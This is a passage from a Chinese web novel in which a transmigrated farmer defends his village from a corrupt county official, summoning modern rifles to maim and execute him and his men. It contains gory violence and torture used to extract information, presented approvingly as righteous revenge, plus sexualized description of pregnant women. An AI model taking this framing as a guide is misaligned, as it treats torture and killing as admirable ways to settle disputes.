“这是东家的地!谁敢踏进去一步,别怪老子手里的棒子不认人!”王囤怒目圆睁,杀气腾腾。
“都要饿**,还管什么东家西家!”
“大伙儿一起上!他们人少!”
流民们已经被饥饿冲昏了头脑,虽然畏惧王囤的武力,但身后更多的人涌上来,推搡着前面的人往前冲。
眼看局势就要失控,冲突一触即发。
就在这时,一阵清
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脆的脚步声,在嘈杂的叫喊声中显得格外清晰。
人群莫名地安静了一瞬。
只见江夜身着一袭青衫,慢悠悠地从村口走了出来。
团子跟在他身旁,呲着獠牙,喉咙里发出低沉的咆哮,那体型带来的压迫感,让前排的流民下意识地往后缩了缩。
江夜走到王囤身边,用手轻轻压下他手中高举的哨棒。
“东家,这帮人疯了……”王囤急得额头冒汗。
江夜摆摆手,示意他稍安勿躁。
他转过身,目光扫过眼前这群面如枯槁的难民。
没有怜悯,也没有厌恶。
“想吃饭?”
江夜的声音清晰地传入每个人耳中。
“想!想!”流民们拼命点头,有的甚至直接跪了下来。
“想吃饭可以,但我江夜这里,不养闲人。”
江夜指了指村外那条泥泞不堪的土路,又指了指远处干涸的水渠。
“从今日起,凡愿为稻花村修路、挖渠、开荒者,每日两顿稠粥,管饱。”
此言一出,全场死寂。
两顿……稠粥?还管饱?
“这位公子……您、您说的是真的?真的给稠粥?”一个头发花白的老者颤巍巍地问道,眼中满是不可置信。
江夜打了个响指。
身后,几个护院立刻抬出两口巨大的铁锅,架起柴火。
锅盖掀开。
浓郁的米香瞬间弥漫开来,那是真的白米粥,稠得插筷子都不倒!
“咕咚……”
无数道吞咽口水的声音汇聚成声浪。
“**!**!”
“我也干!我有力气!我能挖渠!”
“大善人啊!活菩萨啊!”
刚才还剑拔**张、恨不得将稻花村踏平的暴民,此刻瞬间化作了最虔诚的信徒。
他们争先恐后地跪倒在地,朝着江夜疯狂磕头,哭喊声震天动地。
什么**?什么**?
在这一碗热气腾腾的稠粥面前,全都烟消云散。
江夜看着眼前这黑压压跪倒的一片,嘴角勾起一抹玩味的笑意。
以工代赈。
既解决了难民的吃饭问题,消除了**隐患,又给稻花村弄来了无数廉价劳动力。
这笔买卖,划算。
“王囤。”江夜淡淡吩咐道。
“在!”
“组织人手,登记造册。把这些人分成小队,有人偷懒耍滑者,直接赶走,永不录用。”
“是!”王囤看着自家东家的眼神充满了崇拜和信服。
第204章 匹夫无罪,怀璧其罪
夜色深沉,县尉府内歌舞升平。
丝竹声中,庞戍半眯着眼,手指在紫檀木桌案上轻轻扣着节拍。
怀里的歌姬剥了一颗晶莹的葡萄,媚眼如丝地递到他嘴边。
“大人,张嘴……”
庞戍刚要张口,厅外忽然传来一阵急促杂乱的脚步声,一个人影疾步而来。
“大人!出事了!出大事了!”
来人正是庞戍安插在稻花村附近的探子。
庞戍眉头一皱,兴致全无,冷喝道:“慌什么!天塌下来有本官顶着,没规矩的东西!”
探子跪在地上瑟瑟发抖,声音因震惊而变调:“大人,稻花村……稻花村那边的地,绿了!”
“什么绿了?”庞戍一愣,没反应过来。
“是庄稼!是麦子!”探子语无伦次地比划着,“小的亲眼所见,那原本冻得跟铁板一样的地里,长出了这么高的麦苗!绿油油的一片,有的都抽穗了!”
“啪!”
庞戍手中的琉璃酒杯滑落在地,摔得粉碎。
他猛地站起身,一把揪住探子的衣领,将人提了起来。
“你再说一遍?若是敢有半句虚言,老子把你剁碎了喂狗!”
“小的若有半句假话,天打雷劈!”探子吓得涕泗横流,“不仅是小的,周围好几个村的人都看见了,而且他还弄了什么以工代赈,接收了一批难民!”
庞戍的手一松,探子瘫软在地。
他脑海中电光火石般闪过沈砚秋那日带回来的几车黑土。
沈砚秋那小子的神肥难道就是从稻花村江夜的手里弄的?
现在那稻花村的麦子抽穗,难不成那黑土真有用?
庞戍想到这里,连呼吸都灼热了几分。
若是能得到那东西……
在这灾荒遍地的年头,谁掌握了粮食,谁就是真正的土皇帝!
“来人!”庞戍声音因兴奋而微微颤抖,“去把城内的粮商们给老子叫来!立刻!马上!”
……
半个时辰后,密室之内,烟雾缭绕。
青石县几大粮行的掌柜围坐一圈,脸色都难看到了极点。
“庞大人,这消息确凿吗?”王胖子手里眉头紧锁。
“千真万确。”庞戍阴沉着脸。
“那依大人的意思……王胖子试探着问道,“咱们凑钱,买他的方子?”
“买?”庞戍冷笑一声,眼中闪过一丝狠戾,“匹夫无罪,怀璧其罪。这种神物,岂是他一个乡野村夫配拥有的?”
他猛地一拍桌子,震得茶盏乱跳。
“那江夜利用邪术催生庄稼,还私自聚众流民,收买人心,意图谋反!”
众掌柜闻言,先是一愣,随即互相对视一眼,脸上露出了心照不宣的狞笑。
欲加之罪,何患无辞。
只要扣上妖术和谋反的帽子,江夜就是有一百张嘴也说不清。
到时候,人抓了,地封了,那神肥的方子和地里的粮食,还不都是他
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们说了算?
“明日一早。”庞戍端起茶盏,轻轻吹了吹浮沫,语气森然,“查封稻花村,捉拿妖人江夜。至于那些赃物,自然要充公,由本官代为保管。”
在座的商贾们瞬间心领神会,纷纷竖起大拇指。
“大人英明!”
庞戍满意地点点头,眼中杀机毕露。
翌日清晨。
天刚蒙蒙亮,寒雾笼罩着青石县。
县衙偏院,三十名身穿皂衣、腰挎腰刀的差役已经集结完毕。
这些人平日里欺男霸女、敲诈勒索,个个都是心狠手辣的主。
领头的,正是庞戍的心腹捕头赵猛。
“兄弟们!都给我听好了!”
赵猛往地上啐了一口浓痰,大声吼道:“庞大人有令,稻花村刁民江夜,勾结妖人,施展邪术,意图谋反!今日咱们去,就是替天行道,剿灭反贼!”
“剿灭反贼!”众差役举刀高呼,眼中却闪烁着野兽般的兴奋。
“大人说了!”赵猛狞笑着补充道,“只要攻进村子,捉拿住江夜就重重有赏!若有阻拦者,格杀勿论!”
“吼——!!!”
这群披着官皮的土匪瞬间沸腾了。
“出发!”
赵猛大手一挥,翻身上马。
马蹄声碎,打破了清晨的宁静。
一行人杀气腾腾地冲出县城,沿着官道,直奔稻花村而去。
路上的行人见状,纷纷惊恐避让,生怕惹祸上身。
第205章 关门,放狗
与此同时,江家后院,几张厚实的羊毛毡子一字排开铺在青石地上。
江夜一身宽松的棉麻长衫,正穿梭在四个孕妇之间。
“腰塌下去,屁股翘起来,对,就像猫伸懒腰一样。”
白梦夏身子重,七个月的身孕让她行动迟缓,此时正双手撑地,费力地维持着猫式,额头上渗出一层细密的香汗。
宽大的衣摆垂落,勾勒出惊心动魄的丰腴曲线。
“夫君……这姿势羞**了。”白梦夏咬着下唇,脸颊红得像熟透的苹果,声音细若蚊呐。
“这叫产前瑜伽,有助于开骨缝,到时候生孩子少遭罪。”江夜在她后腰轻轻按了一下,“别偷懒,坚持住。”
旁边的白梦秋就没那么老实了,她本就怀着六个月的身孕,肚子圆滚滚的,这会儿正趴在毡子上哼唧。
“不行了不行了,夫君,我腿抽筋了。”
江夜好笑地在她挺翘的鼻尖上刮了一下:“少来,别想偷懒。”
另一边,慕容晴倒是做得有模有样。
到底是习武之人,身体柔韧性极佳。
哪怕挺着五个月的肚子,依旧能完美的做出几个动作。
“这玩意儿比站桩还累人。”慕容晴擦了一把汗,单薄的亵衣被汗水浸透,紧紧贴在身上,显露出那火爆至极的身材。
“夫君,你确定这能好生养?”
“我什么时候骗过你们?”江夜目光扫过那起伏的峰峦,喉结微微滚动了一下,随即将目光转向角落里的林间雪。
林间雪月份最小,才四个月,肚子只是微微隆起。
她最是害羞,此时虽然乖乖照做,却把头埋得低低的,根本不敢看江夜。
“雪儿,背挺直。”江夜走过去,大手扶住她的纤腰,掌心的热度透过薄衫传了过去。
林间雪身子一颤,差点软在江夜怀里。
就在这满院旖旎的时刻。
“砰!”
院门被猛地撞开。
王囤满头大汗地冲了进来。
“东家!不好了!出事了!”
这一嗓子,让院里的温馨气氛荡然无存。
林间雪本就胆小,身子一软直接瘫坐在毡子上。
白梦夏急忙想要起身,却因为肚子太大,动作笨拙地晃了晃。
“慌什么。”江夜眼疾手快,一把扶住白梦夏,眉头微皱看向王囤,“天塌了?”
“官……官差来了!”王囤指着村口方向,“来了好多人!还有骑马的!说是……说是来捉拿妖人,要查封咱们宅子!”
听到官差二字,几女的脸色瞬间变得苍白。
尤其是林间雪,她对这种变故最为敏感,眼眶瞬间就红了。
“夫君……”白梦秋也不喊累了,拽着江夜的衣角,眼含恐惧。
“别怕。”
江夜伸手将几女揽在身后,声音平稳有力,“几个跳梁小丑罢了。”
他看着担忧的众女,嘴角勾起一抹温柔的笑意:“接着练,别停。等我回来检查。”
说完,他转身朝向墙角的阴影处,嘴唇微动,发出一声短促的呼哨。
他把手指放在唇边,轻轻吹了一声口哨。
“咻——”
角落里,原本正趴在地上晒太阳的团子,耳朵猛地竖起。
它伸了个懒腰站起身,原本憨态可掬的眼神瞬间变了,一股属于顶级掠食者的凶戾气息,毫无保留地释放出来。
江夜背负双手,迈步向外走去。
团子抖了抖那一身银白色的皮**,喉咙里发出一声低沉的呜咽,也跟在江夜身侧走了出去。
……
稻花村村口。
此时已是一片狼藉。
原本平整的晒谷场上,**了数百名村民。
而在他们对面,三十几名身穿皂衣的差役骑在马上,手持明晃晃的腰刀,杀气腾腾。
为首一人,正是赵猛。
他骑在一匹枣红色的高头大马上,一双三角眼轻蔑地扫视着下方的人群。
“那个叫江夜的妖人呢?让他滚出来受死!”赵猛挥舞着手中的马鞭,在空中抽出炸响。
“官爷,江相公他是好人啊……”
村里一个的老农颤巍巍地走上前,想要分辩几句,“这里面是不是有什么误会……”
“误会?”
赵猛冷笑一声,手中马鞭猛地挥下。
“啪!”
一声脆响。
老农脸上瞬间多了一道血淋淋的鞭痕,整个人被抽得踉跄倒地,捂着脸痛苦呻吟。
“老东西!这哪有你说话的份!”
赵猛啐了一口痰,正好吐在这老农身上。
“李老汉!”
村民们群情激奋眼睛都红了,却只能是敢怒不敢言。
那是官差啊!
自古民不与官斗,反抗就是**,是要掉脑袋的!
“都给老子闭嘴!”
赵猛从怀里掏出一块黑漆漆的铁牌,高高举起:“县尉大人有令!稻花村江夜,勾结妖人,施展邪术催生庄稼,收拢流民,意图谋反!今日
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本捕头奉命前来,捉拿反贼,查封稻花村!”
“若有阻拦者,同罪论处,格杀勿论!”
村民们一个个面如土色。
赵猛很满意这种效果,狞笑着大喝一声。
“来人!给我冲进去!”
话音未落。
一道清冷的声音从人群中传来。
“好大的威风。”
村民们自动分开一条道。
江夜一袭青衫,步履从容地走了出来。
他身边一只体型硕大的银白色巨狼,安静地走在他身侧。
面对这几十名持刀官差,他脸上没有丝毫惧色。
“你就是江夜!”
赵猛眼睛一眯,勒紧缰绳,“你终于肯露头了!”
江夜停在距离马队十步开外的地方,目光扫过倒在地上的李老汉,眼神瞬间冷了下来。
赵猛大刀一指江夜:“江夜!你利用妖术迷惑百姓,收买人心,意图谋反!还不快快跪下受死!或许庞大人开恩,还能留你个全尸!”
江夜嘴角勾起一抹玩味的弧度。
“打了我的人,还要我跪下?”
江夜嘴角勾起一抹玩味的弧度,眼神却冷得像冰,“你算个什么东西?”
全场死寂。
那些差役们都愣住了。
他们平日里横行乡里,哪个百姓见了不是磕头求饶?
这书生模样的小子,竟然敢这么跟赵猛说话?
“好!好得很!”
赵猛怒极反笑,“死到临头还敢嘴硬!来人!给我拿下!”
赵猛大吼一声,手中长刀出鞘,直指江夜。
周围的差役刚要一拥而上。
江夜嘴唇微动,轻飘飘地吐出一个字:
“上。”
话音未落。
一道银白色的残影,如同离弦之箭般冲了出去。
太快了!
快到所有人都只觉得眼前一花。
赵猛只觉得一股腥风扑面而来,胯下的战马受惊,希律律地长嘶一声,前蹄高高扬起。
就在这一瞬间,团子已经腾空而起。
那巨大的狼躯在空中舒展,利爪在阳光下闪烁着死亡的寒光。
赵猛大惊失色,下意识地举起持刀的右手想要格挡。
“咔嚓!”
骨骼碎裂的声音,清晰地传遍了整个村口。
“啊——!!!”
凄厉的惨叫声响彻云霄。
赵猛那只握着钢刀的右手,连同手腕,竟然被团子一口咬断!
鲜血如喷泉般涌出,溅了赵猛一脸。
第206章 杀鸡儆猴!
赵猛从马背上摔倒在地,捂着喷血的断腕在地上疯狂打滚,惨叫声不绝于耳。
江夜脸上却没有丝毫波澜,负手而立,语气淡漠。
“动手。”
王囤怒吼一声,手中哨棒带起一阵恶风。
“兄弟们!打!”
一声令下,二十多名护院瞬间切入慌乱的差役群中。
这些护院都是江夜精挑细选,每日训练的壮汉,每个都不比精兵差,下手那是毫不含糊。
“砰!咔嚓!”
“啊——我的腿!”
沉闷的棍棒入肉声伴随着骨骼碎裂的脆响,此起彼伏。
那三十名平日里作威作福、不可一世的差役,此刻被围殴得痛哭流涕。
他们的腰刀甚至来不及挥舞,就被乱棍打翻在地。
不过半盏茶的功夫。
村口再无一个站着的官差。
三十几号人横七竖八地躺在地上,哀嚎声震天动地,听得周围村民头皮发麻,却又觉得无比解气。
江夜缓步走到赵猛面前。
“江……江夜!你敢殴打官差!这是**!是要诛九族的!”赵猛疼得满脸冷汗,眼神里露出了恐惧,但还是色厉内荏地嘶吼。
江夜一脚踩在他那完好的左手上,微微用力碾动。
“啊!!!”赵猛发出杀猪般的嚎叫。
江夜居高临下地看着他,眼神冰冷,“回去告诉你主子,想要我的命,让他自己来拿。”
江夜抬起脚,嫌恶地在草地上蹭了蹭血迹。
“把他们扔出去。”
“是!”
王囤等人上前,拽着这些差役的衣领,一路拖到村外,扔在官道旁。
……
日头西斜。
青石县的百姓们看到了令他们终生难忘的一幕。
平日里横行霸道的捕头赵猛,带着三十几个手下,浑身是血在地上蠕动。
他们断了腿,走不了路,只能靠着手肘一点点往县衙爬。
身后拖出一条长长的血痕,触目惊心。
沿途百姓指指点点,有人惊恐,更多的人却是捂嘴偷笑。
平日里这群人作威作福,如今落得这般下场,百姓们心里只觉得痛快。
县尉府内。
庞戍正哼着小曲,等着赵猛带回好消息。
“大人!大人啊!”
赵猛凄惨的哭嚎声从前院传来。
庞戍眉头一皱,刚放下茶盏,就见几个下人抬着担架冲了进来。
当看到担架上那个断手断脚、浑身泥血的赵猛时,庞戍手中的茶盏“啪”的一声摔得粉碎。
“这……这是怎么回事?!”
“大人!那江夜……那是反贼啊!”赵猛哭得一把鼻涕一把泪,“他不但纵狼行凶,还指使刁民打断了弟兄们的腿!”
“反了!反了!”
庞戍气得浑身发抖,一脚踹翻了面前的桌案。
“一个乡野村夫,带着村民和官差公然叫板,拒不受捕,这已是公然**!”
他猛地转身,从墙上取下兵符,厉声喝道:“传令!调集城防营三百县兵!全副武装!出城剿匪!”
“这次,稻花村里的这些反贼!一个不留!”
县衙后堂。
沈砚秋正在书案边处理公务,忽听得前衙一阵喧哗,紧接着便是急促的脚步声。
**满头大汗地冲了进来,连礼都顾不上行。
“大人!出大事了!”
“慌什么?”沈砚秋皱眉。
“庞戍……庞戍调动了三百县兵,说是稻花村江夜聚众**,打残了赵猛等人,现在要带兵去屠村!”
“什么?!”
沈砚秋霍然起身,脸色大变,“庞戍疯了吗?三百县兵?那是用来守城的!”
她深知庞戍的为人,贪婪成性,这次恐怕是冲着江夜手里的神肥和粮食去的。
若是真让他带兵去了稻花村,以后果不堪设想!
“备马!去县尉府!”
沈砚秋抓起官帽扣在头上,大步流星地冲了出去。
……
县尉府门口,三百名县兵已经集结完毕,黑压压的一片,肃杀之气弥漫,只等明日发兵。
“庞戍!你要做什么?”沈砚秋急奔而来。
她厉声质问,“擅自调动城防营,没有州府公文,你这是私自用兵!你想**吗?”
庞戍哈哈大笑,指着身后那些还在哀嚎的伤残差役,“沈大人眼瞎了吗?那江夜打伤官差,公然抗法,这才是**!本官这是平叛!”
“江夜不过一普通农户,若非被逼无奈,怎会动手?”沈砚秋据理力争,“此事必有蹊跷,本官自会查明,不用劳烦庞大人兴师动众!”
“查明?”
庞戍脸色一沉,眼中凶光毕露,“等你查明,那反贼早就跑了!沈砚秋,你三番五次护着他,莫非也是同党?”
“你含血喷人!”沈砚秋气得浑身发抖。
“是不是含血喷人,拿下便知!”
庞戍既然已经撕破了脸皮,便不再顾忌。
他大手一挥,厉喝道:“来人!沈砚秋勾结反贼,阻挠军务,把她给我拿下!关入后衙,严加看管!”
“你敢!”沈砚秋拔出腰间佩剑。
十几名亲兵立刻围了上来,**直指沈砚秋。
沈砚秋虽然有些武艺,但双拳难敌四手,更何况面对的是全副武装的士兵。
几招过后,她手中的长剑被打落,两名士兵一左一右将她死死按住。
“庞戍!本官是朝廷命官!”沈砚秋发髻散乱,凤眸中满是绝望与愤怒。
“带下去!”
庞戍看都懒得看她一眼。
暗处,**看着沈砚秋被押走,目眦欲裂。
他刚想冲上去拼命,却看到沈砚秋在被押入大门的那一刻,回头看了他一眼。
**猛地咬牙,转身钻入人群,朝着城外狂奔而去。
……
稻花村,江家小院。
江夜正拿着一块木头,给未出世的孩子雕刻着小老虎。
几女围坐在他身
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边,虽然脸上带着笑,但眼神中依旧藏着深深的忧虑。
“砰!砰!砰!”
院门突然被急促拍响。
片刻后,**急匆匆地跟着王囤走了进来。
“江公子!”
江夜手中刻刀一顿,抬头看向**。
“出什么事了?”
**声音嘶哑,“庞戍软禁了沈大人,调集了三百县兵,全副武装,带着**和盾牌,说是要……要屠村!这会儿已经在路上了!”
“什么?!”
白梦夏手中的茶盏滑落,摔得粉碎。
几女瞬间脸色煞白,身子止不住地颤抖。
三百县兵!
那可是正规军啊!
虽然大宣朝军备废弛,但那也是穿着铁甲、拿着真刀**的士兵,绝非那些地痞流氓般的差役可比。
“三百人……”慕容晴这会儿也感觉手脚冰凉。
若是单打独斗她不怕,可那是军队冲杀,江夜再厉害,能挡得住三百人的冲锋吗?
更何况,这里还有她们这群拖油瓶。
“夫君……”林间雪吓得眼泪直掉,死死抓着江夜的衣袖,“我们走吧,现在走还来得及……”
江夜没有说话。
他缓缓站起身,走到**面前,伸手将他扶了起来。
“沈大人怎么样?”
“被……被关在后衙,暂时没有性命之忧。”**喘着粗气,“沈大人让我来报信,让您赶紧逃命!”
“逃?”
江夜嘴角勾起一抹森冷的弧度。
这世道,普天之下莫非王土,带着四个孕妇,能逃到哪里去?
逃亡路上风餐露宿,一旦动了胎气,便是一尸两命。
一股令人窒息的杀意,从江夜身上爆发开来,周围的空气仿佛都在这一瞬间凝固。
“王囤!”
一直守在院外的王囤立刻冲了进来:“东家!”
“传令下去,封锁村口,所有青壮年全部上墙,准备滚石檑木!告诉他们,庞戍要来抢他们的粮,杀他们的妻儿,想活命的,就给老子拼命!”
“是!”王囤感受到江夜身上的杀气,心中一凛,转身狂奔而去。
“夫君……”白梦秋颤抖着喊了一声。
江夜转过身,脸上的杀意瞬间收敛,变得温柔无比。
他轻轻擦去林间雪脸上的泪珠,又摸了摸白梦夏的头。
“别怕。”
“回屋去,把门窗关好,无论听到什么声音都别出来。”
“只要我在,没人能伤你们一根汗**。”
安抚好众女,江夜转身走进书房,反手锁上了门。
他深吸一口气,意识沉入系统空间。
光芒一闪。
一把通体漆黑、线条流畅的AWM**出现在他手中,冰冷的枪身散发着死亡的气息。
紧接着,又是两把MP5**,以及整整两箱黄澄澄的**。
江夜熟练地拉动**,听着那清脆的金属撞击声,眼中闪过一丝嗜血的光芒。
第207章 降维打击
书房内烛火摇曳,映照在漆黑的枪身上,泛着令人心悸的幽光。
王囤盯着江夜手里的怪东西,满眼的迷茫。
这玩意儿非铁非木,入手沉甸甸的,冰凉刺骨,造型更是古怪至极。
“东家,这……这是啥东西?”
“**的东西。”
江夜将两把MP5**扔在桌上,又拿起那把修长的AWM,熟练地拉动**,清脆的金属撞击声在寂静的夜里格外刺耳。
他抬起头,眼底是一片化不开的墨色:“庞戍既然不想讲规矩,那我就教教他,什么叫真正的规矩。”
“今晚,去**。”
简单的几个字,却让王囤浑身汗**炸立。
他没再多问,重重点头。
……
月黑风高。
两道黑影如同鬼魅,借着夜色的掩护,悄无声息地摸到了青石县城墙脚下。
此时城门早已紧闭,但这难不倒身手矫健的二人。
避开巡逻的更夫,两人翻身入城,钻进了一条死胡同。
阴影中,江夜将MP5的保险打开,递给王囤。
“听好了,这东西不用力气,只用这里。”江夜指了指**,“**抵住肩膀,枪口对准人,扣下去,别松手。”
王囤似懂非懂地摆弄了一下,手指搭上**。
“东家,这玩意儿能比俺的哨棒好使?”
“一百根哨棒也比不上它吐一次火。”江夜拍了拍他的肩膀,“走。”
两人如狸猫般穿梭在巷弄之间,很快便来到了县尉府外。
此刻的县尉府灯火通明,红灯笼高高挂起。
隔着高墙,都能听到里面传来的丝竹管弦之声,还有男人放浪形骸的大笑。
“朱门酒肉臭。”江夜冷哼一声,目光投向府邸斜对面的一座酒楼。
那是全城最高的建筑,也是绝佳的狩猎点。
片刻后,两人趴在酒楼的屋顶之上。
夜风凛冽,吹得衣衫猎猎作响。
江夜架起AWM,将折叠支架稳稳地卡在瓦片缝隙中。
透过高倍瞄准镜,府内的景象纤毫毕现。
前厅大院里,摆着十几桌酒席,那是给明日出征的县兵们准备的壮行酒。
而正厅之中,庞戍正大马金刀地坐在虎皮椅上,怀里搂着那个衣衫半解的歌姬,笑得肥肉乱颤。
在他下首,坐着几个粮商和营官们,正举杯恭维。
“大人英明神武!此次踏平稻花村,那江夜小儿定然吓得尿裤子!”
“哈哈哈!那是自然!”庞戍张嘴接住歌姬递来的葡萄,“等拿到了神肥方子,在座的各位,人人有赏!”
“谢大人!”
众人推杯换盏,好不快活。
屋顶上,江夜将一切尽收眼底,眸中闪过一丝杀意。
他手指轻轻搭在**上。
十字准星缓缓移动,掠过那些阿谀奉承的嘴脸,最终定格在庞戍那只举着琉璃盏的右手上。
江夜嘴角勾起一抹残忍的弧度。
直接爆头太便宜这头肥猪了。
恐惧,才是最好的惩罚。
食指微动。
“噗!”
经过**处理的**,只发出轻微的沉闷声,瞬间被淹没在喧闹的丝竹声中。
下一瞬。
庞戍手中的琉璃酒杯毫无征兆地炸裂开来!
晶莹的碎片混合着殷红的酒液飞溅,崩了旁边那个歌姬一脸。
“啊!”歌姬吓得尖叫起来。
庞戍愣住了。
他呆呆地看着自己空空如也的手,手掌被玻璃碎片划得鲜血淋漓,酒水顺着指缝往下滴。
“谁干的?好大的胆子!”庞戍猛地站起身,怒吼道。
然而,回应他的,是第二声闷响。
这一次,不再是酒杯。
庞戍那条粗壮的右大腿上,出现一个恐怖的血洞!
AWM恐怖的动能直接撕裂了他的肌肉,粉碎了他的股骨。
“啊————!!!”
一声凄厉至极的惨嚎,瞬间盖过了所有的丝竹之声。
庞戍重重地摔在地上,抱着大腿疯狂打滚。
鲜血如喷泉般涌出,瞬间染红了名贵的地毯。
“大人!大人!”
“有刺客!有刺客!”
厅内的粮商们瞬间乱作一团,有人想要上前搀扶,还有人吓得钻到了桌子底下。
手持刀刃的官兵们拔刀四顾。
“在哪?刺客在哪?!”
一个满脸络腮胡的营官拔出长刀,护在庞戍身前,
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瞪大眼睛警惕地扫视着四周。
可大厅空荡荡的,门窗紧闭,哪里有人影?
这诡异的一幕,让所有人都感到一股寒气从脚底板直冲天灵盖。
这就如同白日见鬼!
屋顶上,江夜面无表情。
拉栓,退壳。
王囤看着自家东家那冷峻的侧脸,心中涌起一股前所未有的敬畏。
这是什么手段?
隔着几百步,取人肢体如探囊取物!
“别急,好戏才刚开始。”
江夜再次推弹上膛,眼睛重新贴上瞄准镜。
这一次,十字准星锁定了那个叫嚣得最凶的络腮胡营官。
“噗!”
那营官还在大声呼喝指挥,脑袋忽然像被无形的巨锤砸中,猛地向后一仰。
红白之物飞溅,喷了身后几人一身。
尸体直挺挺地倒下,手中的长刀落地。
原本喧闹的大厅,瞬间陷入了死一般的寂静。
他们眼睁睁看着同僚的脑袋在瞬间爆开,却连敌人的影子都没看见,甚至连暗器的破空声都没听到!
“鬼……有鬼啊!”
整个大厅炸了锅。
那些原本还要去屠村的勇猛县兵们,此刻一个个吓得屁滚尿流。
躺在地上的庞戍,疼得脸色煞白,浑身抽搐。
他看着周围乱作一团的手下,再看看自己受伤的大腿,眼中的贪婪和嚣张早已烟消云散,取而代之的是无尽的恐惧。
“救……救我……”庞戍伸着沾满血的手,想要抓住什么。
“噗!”
又是一枪。
这次打的是他完好的左臂。
整条手臂从手肘处被生生打断,仅连着一层皮肉晃荡。
“啊!!!”庞戍疼得两眼一翻,差点昏死过去。
江夜不急不缓地拉动**,就像是一个耐心的猎人,在戏耍着陷阱里的猎物。
“王囤。”江夜头也不回地喊了一声。
“在!”王囤此刻热血沸腾,紧紧握着手中的**。
“下面乱了,该你下场了。”江夜淡淡道。
“是!”
王囤舔了舔干裂的嘴唇,眼中凶光毕露。
他背起**,顺着酒楼的柱子滑了下去,直扑混乱的县尉府。
第208章 下辈子,做个好人
王囤刚摸进县尉府,七八名手持钢刀的护卫便大吼着扑了上来。
“哪里来的**贼!找死!”
若是以前,面对这种阵仗,王囤哪怕手里有哨棒,心里也得打鼓。
可此刻,手里握着这沉甸甸的铁家伙,他只觉得胸膛里有一团火在烧。
东家说了,扣下去,别松手。
王囤**抵在肩窝,黑洞洞的枪口对准了冲在最前面的一名护卫头目。
“去**!”
手指扣动。
“哒哒哒哒哒——!!!”
爆鸣声在院中炸响,如同平地惊雷。
枪口喷吐出半尺长的火舌,在黑夜中耀眼。
王囤只觉得肩膀被震得发麻,而眼前的景象却彻底颠覆了他这三十年的认知。
冲在最前面的那名护卫,胸口瞬间暴起一团团血雾,整个人像是被一双无形的大手狠狠推了一把,身子在半空中剧烈抽搐,还没落地就被打成了筛子。
紧接着是第二个,第三个……
密集的**如同死神的镰刀,毫无阻滞地撕碎了护卫们的皮甲和血肉。
“妖……妖法!”
剩下的护卫吓得肝胆俱裂,手中的钢刀当啷落地。
他们眼睁睁看着同伴在瞬间变成碎肉,这种未知的恐惧比死亡更让人绝望。
王囤也被这恐怖的威力吓傻了。
他看着手里还在冒着青烟的铁管子,喉结艰难地滚动了一下。
一百根哨棒?便是一千根,也比不上这玩意儿吐一口火!
残存的护卫哪里还有战意,哭爹喊娘地四散奔逃。
王囤回过神,狠狠啐了一口唾沫,眼底的憨厚被一股前所未有的狂热取代。
……
正厅内,死一般的寂静。
外面的**停了,只剩下伤者微弱的呻吟。
江夜收起AWM,背负双手,踏着满地的鲜血与残肢走入厅堂。
他的步履轻盈,青衫随风微动,与这修罗场般的景象格格不入。
厅内,原本不可一世的官员商贾们早已不知去向,只剩下几具尸体横陈在地。
江夜目光扫过,最终停在那张宽大的紫檀木桌案前。
桌布还在微微颤抖,一股难闻的尿骚味混合着血腥气弥漫开来。
“出来。”
江夜声音冰冷。
桌下毫无动静,只有牙齿打颤的声音。
江夜眉头微皱,上前一步,抓住桌角猛地一掀。
桌案翻飞,露出了缩成一团的庞戍。
这位平日里威风八面的县尉大人,此刻正抱着那条腿,整个人蜷缩在血泊和自己的排泄物中。
他发髻散乱,满脸鼻涕眼泪,肥硕的身躯止不住地痉挛。
看到江夜那张冷漠的脸,庞戍像是见了鬼魅一般,拼命往后缩,伤脚在地上拖出几道触目惊心的血痕。
庞戍声音嘶哑,眼神涣散,“你是人是鬼?你到底是人是鬼?!”
几百步外取人肢体,顷刻间屠尽他的亲卫,这根本不是凡人能做到的手段!
江夜居高临下地看着他,眼中没有一丝怜悯。
“我是来讨债的。”
话音落下,江夜抬起脚,黑色的锦靴重重踩在庞戍那断裂的大腿骨茬上。
“咔嚓!”
脚尖碾动。
“啊————!!!”
庞戍发出杀猪般的惨嚎,身子弓成了虾米,冷汗瞬间浸透了衣衫。
“沈砚秋在哪?”江夜声音平静,脚下的力道却又加重了几分。
“在……在后衙!就在柴房关着!我没动他!我真的没动他!”庞戍疼得鼻涕泡都出来了,此时此刻,只要能止痛,让他叫江夜亲爹都行。
“账本呢?还有你哄抬粮价、截杀流民的证据。”
“在密室!就在我卧房床底下的暗格里!那是机关,扭动花瓶就能开!”庞戍一边哭嚎一边求饶,“里面有账本,大侠,饶我一条狗命吧!我以后给您当牛做马……”
江夜得到了想要的答案,脚挪开了。
庞戍如释重负,大口大口地喘着粗气,眼中闪过一丝劫后余生的庆幸。
只要活着,只要让他活下来,以后有的是机会报复……
然而,下一秒。
他看到了一个幽黑的枪口。
江夜手中的**,正对着他的眉心。
庞戍瞳孔骤缩,嘴巴张大:“你——”
“下辈子,做个好人。”
“砰!”
一声闷响。
庞戍的眉心多了一个血洞,后脑勺炸开一团红白之物。
他那双充满贪婪与恐惧的眼睛渐渐失去了光彩,肥硕的身躯重重倒在地上,彻底没了声息。
江
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夜面无表情地收起枪,转身走向卧房。
按照庞戍的交代,他扭动花瓶,果然听到机括声。
床板移开,露出一个黑黝黝的洞口。
江夜跳下去,点燃火折子。
这密室不大,堆满了箱子。
打开一看,金灿灿的元宝、白花花的银锭,还有各种珍珠玛瑙、古玩字画,在火光下闪烁着诱人的光芒。
这都是庞戍这些年搜刮的民脂民膏。
“倒是省了我不少事。”
江夜心念一动。
系统空间开启。
只见他手掌拂过之处,那一箱箱金银珠宝凭空消失,仿佛从未存在过一般。
不过眨眼功夫,原本塞得满满当当的密室,变得比庞戍的脸还要干净。
连墙角的一尊玉佛都没放过。
做完这一切,江夜纵身跃出密室,大步走出正厅。
院子里,王囤正抱着那把MP5,警惕地盯着四周,脚下是一地的弹壳。
见到江夜出来,他立刻迎了上去,眼神里满是崇拜。
“东家,这……这就完了?”
“完了。”江夜淡淡道,“走,去后衙接人。”
……
县衙后院。
这里的守卫比前院要少得多,只有四名亲兵守在柴房门口。
前院的动静虽然大,但毕竟隔着几重院落,这里听得并不真切,几人还在低声议论着今晚的酒宴。
“听说庞大人明日要大开杀戒,也不知那稻花村的小娘子滋味如何。”
“嘿嘿,等大人玩腻了,说不定咱们也能喝口汤。”
几人正笑得猥琐。
忽然,一道黑影从墙头掠过。
“谁?!”
一名亲兵刚要拔刀。
“嗖!嗖!嗖!嗖!”
四道寒光撕裂空气,快若闪电。
